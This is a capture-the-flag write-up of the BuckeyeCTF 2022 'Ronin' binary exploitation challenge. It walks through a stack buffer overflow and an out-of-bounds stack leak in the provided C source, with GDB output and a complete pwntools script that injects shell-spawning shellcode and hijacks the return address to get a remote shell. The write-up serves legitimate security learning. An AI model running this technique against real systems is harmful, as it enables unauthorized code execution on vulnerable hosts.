Buckeye CTF challenge 2022

BuckeyeCTF2022 - Ronin

Top News11/09/2022

By Aldric Berthet-Bondet

This challenge is basically a binary exploitation. The objective is to hijack the execution flow of the program to get a shell on the remote machine and read the flag.

Details
 

  • Category: pwn
  • Points: 271
  • Solves: 54

Description
 

A weary samurai makes his way home.

nc pwn.chall.pwnoh.io 13372

The source code has been provided:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char* txt[] = {
    "After defeating the great Haku in battle, our hero begins the journey home.\nThe forest is covered in thick brush. It is difficult to see where you are going...\nBut a samurai always knows the way home, and with a sharp sword that can cut through the foliage, there is nothing to worry about.\n...\n...suddenly, the sword is gone. It has been swept straight out of your hand!\nYou look up to see a monkey wielding your sword! What will you do? ",
    "Yes, of course. You are a great warrior! This monkey doesn't stand a chance.\nWith your inner strength, you leap to the trees, chasing the fleeing monkey for what feels like hours.\n",
    "The monkey, with great speed, quickly disappears into the trees. You have lost your sword and any hopes of getting home...\n",
    "Eventually, you lose sight of it. It couldn't have gotten far. Which way will you look? ",
    "Finally, the monkey stops and turns to you.\n\"If you wish for your weapon back, you must make me laugh.\" Holy shit. This monkey can talk. \"Tell me a joke.\" ",
    "\"BAAAAHAHAHAHAHA WOW THAT'S A GOOD ONE. YOU'RE SO FUNNY, SAMURAI.\n...NOT! THAT JOKE SUCKED!\"\nThe monkey proceeds to launch your sword over the trees. The throw was so strong that it disappeard over the horizon.\nWelp. It was a good run.\n",
};

void scroll(char* txt) {
    size_t len = strlen(txt);
    for(size_t i = 0; i < len; i++) {
        char c = txt[i];
        putchar(c);
        //usleep((c == '\n' ? 1000 : 50) * 1000);
    }
}

void encounter() {
    while(getchar() != '\n') {}
    scroll(txt[4]);
    char buf2[32];
    fgets(buf2, 49, stdin);
    scroll(txt[5]);
}

void search(char* area, int dir) {
    scroll(area);
    if(dir == 2) {
        encounter();
        exit(0);
    }
}

void chase() {
    char* locs[] = {
        "The treeline ends, and you see beautiful mountains in the distance. No monkey here.\n",
        "Tall, thick trees surround you. You can't see a thing. Best to go back.\n",
        "You found the monkey! You continue your pursuit.\n",
        "You find a clearing with a cute lake, but nothing else. Turning around.\n",
    };
    scroll(txt[3]);
    int dir;
    while(1) {
        scanf("%d", &dir);
        if(dir > 3) {
            printf("Nice try, punk\n");
        } else {
            search(locs[dir], dir);
        }
    }
}

int main() {
    setvbuf(stdout, 0, 2, 0);

    scroll(txt[0]);
    char buf1[80];
    fgets(buf1, 80, stdin);
    if(strncmp("Chase after it.", buf1, 15) == 0) {
        scroll(txt[1]);
        chase();
    } else {
        scroll(txt[2]);
    }
}

It’s a 64-bit binary (not stripped).

file ronin
ronin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bd099639cad5527eade51bf2d4b75e6afaf6b1, for GNU/Linux 3.2.0, not stripped

Understanding the problem

While reading the source code we identified the following problems :

  • a buffer overflow in the encounter function
    • a static 32 bytes buffer is declared and 49 bytes can be read and inserted from stdin (with the fgets function)
  • An out-of-bounds (OOB) read in the chase function
    • user has to give an int to specify which line of locs (chars array) will be read
    • there is no bound check to prevent inserting a negative value

The program is relatively simple. The scroll function just writes the story char by char. However, calling functions to trigger buffer overflow requires giving answers in the following order:

  • “Chase after it.” in main
  • 2 in chase
  • whatever in encounter to overwrite its return address stored in RIP

Solving the problem

The first step is to check the binary protections in place.

$ checksec ronin
[*] '/home/enoent/Downloads/ronin'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

There is no NX bit (the stack is executable) or canary. But at that time we did not know if ASLR was activated. However, even if it was, it would not be a problem as we can leak stack addresses by abusing out-of-bounds (OOB) read vulnerability.

The first idea which came up is to use a shellcode. Unfortunately, target buffer buf2 is too small. But wait! Why use a 80 bytes buffer buf1 to only store 15 characters (“Chase after it.”) in the main ? Okay we can place our shellcode in it (juste after “Chase after it.”) and find its starting address using the OOB read. Let’s start!

The process is the following :

  • debug the binary with GDB and place relevant breakpoints
  • add some random chars after “Chase after it.” in main and get the offset between our leaked address and those characters (which will be our shellcode later on)
disass chase
Dump of assembler code for function chase:
   0x0000555555555367 <+0>: endbr64 
   0x000055555555536b <+4>: push   rbp
   0x000055555555536c <+5>: mov    rbp,rsp
   0x000055555555536f <+8>: sub    rsp,0x30
   0x0000555555555373 <+12>:    lea    rax,[rip+0x116e]        # 0x5555555564e8
   0x000055555555537a <+19>:    mov    QWORD PTR [rbp-0x20],rax
   0x000055555555537e <+23>:    lea    rax,[rip+0x11bb]        # 0x555555556540
   0x0000555555555385 <+30>:    mov    QWORD PTR [rbp-0x18],rax
   0x0000555555555389 <+34>:    lea    rax,[rip+0x1200]        # 0x555555556590
   0x0000555555555390 <+41>:    mov    QWORD PTR [rbp-0x10],rax
   0x0000555555555394 <+45>:    lea    rax,[rip+0x122d]        # 0x5555555565c8
   0x000055555555539b <+52>:    mov    QWORD PTR [rbp-0x8],rax
   0x000055555555539f <+56>:    mov    rax,QWORD PTR [rip+0x2c92]        # 0x555555558038 <txt+24>
   0x00005555555553a6 <+63>:    mov    rdi,rax
   0x00005555555553a9 <+66>:    call   0x555555555269 <scroll>
   0x00005555555553ae <+71>:    lea    rax,[rbp-0x24]
   0x00005555555553b2 <+75>:    mov    rsi,rax
   0x00005555555553b5 <+78>:    lea    rdi,[rip+0x1255]        # 0x555555556611
   0x00005555555553bc <+85>:    mov    eax,0x0
   0x00005555555553c1 <+90>:    call   0x555555555150 <__isoc99_scanf@plt>
   0x00005555555553c6 <+95>:    mov    eax,DWORD PTR [rbp-0x24]
   0x00005555555553c9 <+98>:    cmp    eax,0x3
   0x00005555555553cc <+101>:   jle    0x5555555553dc <chase+117>
   0x00005555555553ce <+103>:   lea    rdi,[rip+0x123f]        # 0x555555556614
   0x00005555555553d5 <+110>:   call   0x555555555100 <puts@plt>
   0x00005555555553da <+115>:   jmp    0x5555555553ae <chase+71>
   0x00005555555553dc <+117>:   mov    edx,DWORD PTR [rbp-0x24]
   0x00005555555553df <+120>:   mov    eax,DWORD PTR [rbp-0x24]
   0x00005555555553e2 <+123>:   cdqe   
   0x00005555555553e4 <+125>:   mov    rax,QWORD PTR [rbp+rax*8-0x20]
   0x00005555555553e9 <+130>:   mov    esi,edx
   0x00005555555553eb <+132>:   mov    rdi,rax
   0x00005555555553ee <+135>:   call   0x55555555532b <search>
   0x00005555555553f3 <+140>:   jmp    0x5555555553ae <chase+71>

The chase function assembly is above. We placed a breakpoint on +125 where the first parameter of the search function is stored at rbp+rax*8-0x20.

0x7fffffffdc60: 0x00007fffffffde30
0x7fffffffdc68: 0x7f005555555552c8
0x7fffffffdc70: 0x0000000000000006
0x7fffffffdc78: 0x0000000000000006
0x7fffffffdc80: 0x00007fffffffdca0
0x7fffffffdc88: 0x000055555555534a
0x7fffffffdc90: 0xfffffffc00000058
0x7fffffffdc98: 0x00007fffffffdce0
0x7fffffffdca0: 0x00007fffffffdce0 -> give -4 in chase to leak stack address
0x7fffffffdca8: 0x00005555555553c6
0x7fffffffdcb0: 0x0000000000000000
0x7fffffffdcb8: 0xfffffffc555561c0
0x7fffffffdcc0: 0x00005555555564e8 -> address if 0 is given in chase function
0x7fffffffdcc8: 0x0000555555556540
0x7fffffffdcd0: 0x0000555555556590
0x7fffffffdcd8: 0x00005555555565c8
0x7fffffffdce0: 0x00007fffffffdd40 -> our leaked address
0x7fffffffdce8: 0x000055555555547b
0x7fffffffdcf0: 0x6661206573616843
0x7fffffffdcf8: 0x202e746920726574
0x7fffffffdd00: 0x6161616161616161 -> the " aaaa" we inserted after "Chase after it." in buf1

The offset is 0x41 (because we insert a space). Thus, our shellcode address will be : leak_value - 0x41

Implementing the solution

The solution has been implemented using the famous pwntools Python library.

from pwn import *

r = remote('pwn.chall.pwnoh.io', 13372)
shellcode = asm(shellcraft.amd64.sh(), arch='amd64')


print(r.recvuntil(b'do? '))
r.sendline(b"Chase after it." + shellcode)
print(r.recvuntil(b'look? '))
# leak stack address
r.sendline(b'-4')
# retry to read locs and continue programm execution
r.sendline(b"2")
leak = r.recvuntil(b'You', drop=True)
leak = u64(leak[-6:].ljust(8, b'\x00'))
print(r.recvuntil(b'"Tell me a joke."'))
# Send 40 bytes to overwrite RBP + shellcode address to overwrite RIP
r.sendline(b"B"*40 + p64(leak - 0x41))
r.interactive()

Enjoy your shell and get the flag :)

Flag : buckeye{n3v3r_7ru57_4_741k1n9_m0nk3y}

Our News